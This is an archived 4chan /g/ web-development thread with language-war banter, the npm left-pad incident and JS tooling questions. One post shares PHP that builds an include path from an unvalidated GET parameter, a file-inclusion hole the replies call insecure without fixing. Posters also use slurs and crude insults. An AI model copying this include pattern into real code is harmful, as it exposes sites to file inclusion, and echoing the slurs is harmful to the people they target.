Python turns to shit if you've got shit devs. Java is bloat from day 1. I remember having to use Spring/Jackson to write a RESTful API. It was awful. Did it in a third the of the code in Python.
>>
>>53638357
>I remember having to use Spring/Jackson to write a RESTful API. It was awful
Wut? How hard is:

@Path("/objects")

@GET
@POST
@PUT
@DELETE
@Path("/{id}")
@PathParam(value="id")


>Did it in a third the of the code in Python.
Less is not better.
>>
>>53638409

Great you decorated a function. Now try to interact with a DB. The ORM options & database drivers for Python are nearly unbeatable.
>>
>>53624678
adjust margin/padding of inner elements
>>
>>53637224
Not PHP.
>>
>>53638409
>less is not better
Fucking javafags.
>>
>>53638463
Sure, super hard.
Connection con = dataSource.getConnection();
PreparedStatement ps = con.prepareStatement(SQL_GET_THING);
ps.setString(1, thingID);
ResultSet rs = ps.executeQuery();

List<Thing> things = new ArrayList<>();
while (rs.next()) {
things.add(new Thing(rs));
}

return thing;


>>53638540
clearly this is the best fizzbuzz:
i=0
while 1:i+=1;print"".join("BzuzzizF"[::2*j]for j in(-1,1)if 1>i%(4+j))or i
>>
So, anyone else working late too?
>>
>>53637224
Try symfony
>>
>>53638645
>working easter
I'm sorry, my american friend
>>
>writing a JavaScript library
>there are no available words left to use as a name for it
Looking forward to releasing allthenamesaretaken.js
>>
why isn't /g/ screaming about this yet: http://www.theregister.co.uk/2016/03/23/npm_left_pad_chaos/?mt=1458718155102

JS babies:
BTFO
T
F
O
>>
So is google able to index dynamically rendered websites? How does it work?
>>
>>53639207
I know. Quite the dank situation.

Also you gotta love this:
>Programmers were left staring
>left staring
>left
>left-pad

top kek
>>
>>53639209
their bot is just a headless version of chrome, so it's able to index meme frameworks reasonably well.
>>
>>53639399
Define headless
>>
>>53639168
Try PhunJS
>>
>>53639414
headless just means theres no UI, even if one is being rendered internally, like most game servers just run the actual game, but you just have a console.
>>
>immutable.js

Why am I suddenly seeing this everywhere?
>>
>>53638598

Or I can just use an ORM in Python and do something like:

things = Thing.objects.all()

Lol.
>>
>>53638598
Less lines is not less complexity m8
>>
>>53639168
Don't be an autist and just call it by what it does.
>>
>>53637464
Use css media queries. Google it. 1 line of code.
>>
>>53639761
how do I insert the '>'?
I don't want to use
::before/::after
>>
>>53639799
Oh, didn't notice that. I "think" you would need to use JS for that. Use function to check screen width and add innter HTML etc.
>>
>>53639868
*inner
>>
I finished a programming course last year and work as a SEO/Internet marketing/admin atm.

Currently looking at signing up to this

https://linuxacademy.com/amazon-web-services

anyone used them before?
>>
>>53639207
Wow this is huge. I'm never using node for anything now.
>>
>>53639207
>13 loc package breaks half of node
kek
>>
>>53639455
Part of the trendy Facebook stack.
>>
>>53639957
Node is fine. NPM fucked up.

Wtb better package manager that isn't afraid of faggot lawyers
>>
Coming from a typed and compiled language background, one thing I really miss when working with JavaScript is decent auto completion and symbol traversal (Go to definition).

Are there any good packages for Atom that can solve this problem for me. I know WebStorm is supposedly better at doing these things but I like the Atom and it's philosophy inherited from GitHub.
>>
>>53629926
most websites load shittily without javascript, most websites gave into jewflare... just because most (not all, there are still leftover good sites around) websites use hamburger menus in mobile layouts doesnt mean that you need to jump on the bandwagon nor does it mean that you even need to make a mobile version of your site. any site with a half decent stylesheet will work on both desktop and mobile
>>
>>53633294

play
>>
>>53640155
TypeScript and atom-typescript.
>>
>>53640155
ternjs
>>
>>53637224
>Laravel is POORLY DOCUMENTED
I've been saying this since forever. The learning curve is too damn steep. The only reason I'd use it is because of the routing and template management.
>>
File: photo_2016-03-20_13-14-55.jpg (17 KB, 604x438) Image search: [Google]
photo_2016-03-20_13-14-55.jpg
17 KB, 604x438
>>53618124
>women in programming
>>
File: 2016-03-23_21-36-19.png (13 KB, 632x128) Image search: [Google]
2016-03-23_21-36-19.png
13 KB, 632x128
Anyone who knows if this is possible in only PHP?
>>
>>53641084
The code is insecure, and yes loading a page is possible in PHP
>>
>>53641115
Why is it insecure, and how?

I know about include and require, they'll emmit a warning and a fatal error. What's the magic?
>>
>>53641187

Not cleaning your GETs and dumping them straight into other code.
>>
>>53641204
FUck me, you're right.
Still wanna know that magical non-javascript alternative
>>
>>53641244
use include?

you say you get a warning and error, but yet you did not post the error you get nor the code you used.
>>
>>53641277
The reason I'm not using it is because they produce a warning or an error (depending which you use).

Even if !include does so, which is pretty annoying
>>
>>53641356
then post your code and the error you get.

you aren't getting any help here if you don't, we can't magically know your error.
>>
>>53641363
I'm asking for the proper way to do so. Include returns a warning, require returns a fatal error. So I'd have to find a way to supress that somehow before I can go:
      $page = (!isset($_GET['page']) ? 'index' : filter_var($_GET['page'], FILTER_SANITIZE_FULL_SPECIAL_CHARS));

if((!include "templates/" . $page . ".html")){
include "templates/404.html";
}
>>
>>53641393
the proper way is to not use include at all, it's a shitty outdated method.
look up some MVC frameworks and use those or make your own.
>>
So /wdg/, should I use react or angular 2 for a new relatively small project?
>>
>>53641407
ember
>>
>>53641407
React, angular is dying
>>
>>53641404
Then what's the alternative way of including? Should I just use a templating enging, something like twig?
>>
>>53641407
Vanilla JS. But the non-meme answer is React.
>>
http://collinoswalt.github.io/debateflow/index.html

Webapp for "flowing" competitive college and highschool debate. Note taking is a kind of specific format in debate called flowing. It controls entirely from the keyboard, so you can take notes really fast.

Since competitive debate is full of SJWs, typing "white privilege" will destroy your work and play one of a few annoying videos
>>
Ah gee.. I was hoping nodejs had es6 features, but no. Any idea when they might have them?
Thread replies: 255
Thread images: 26

banner
banner
[Boards: 3 / a / aco / adv / an / asp / b / biz / c / cgl / ck / cm / co / d / diy / e / fa / fit / g / gd / gif / h / hc / his / hm / hr / i / ic / int / jp / k / lgbt / lit / m / mlp / mu / n / news / o / out / p / po / pol / qa / r / r9k / s / s4s / sci / soc / sp / t / tg / toy / trash / trv / tv / u / v / vg / vp / vr / w / wg / wsg / wsr / x / y] [Home]

All trademarks and copyrights on this page are owned by their respective parties. Images uploaded are the responsibility of the Poster. Comments are owned by the Poster.
If a post contains personal/copyrighted/illegal content you can contact me at [email protected] with that post and thread number and it will be removed as soon as possible.
DMCA Content Takedown via dmca.com
All images are hosted on imgur.com, send takedown notices to them.
This is a 4chan archive - all of the content originated from them. If you need IP information for a Poster - you need to contact them. This website shows only archived content.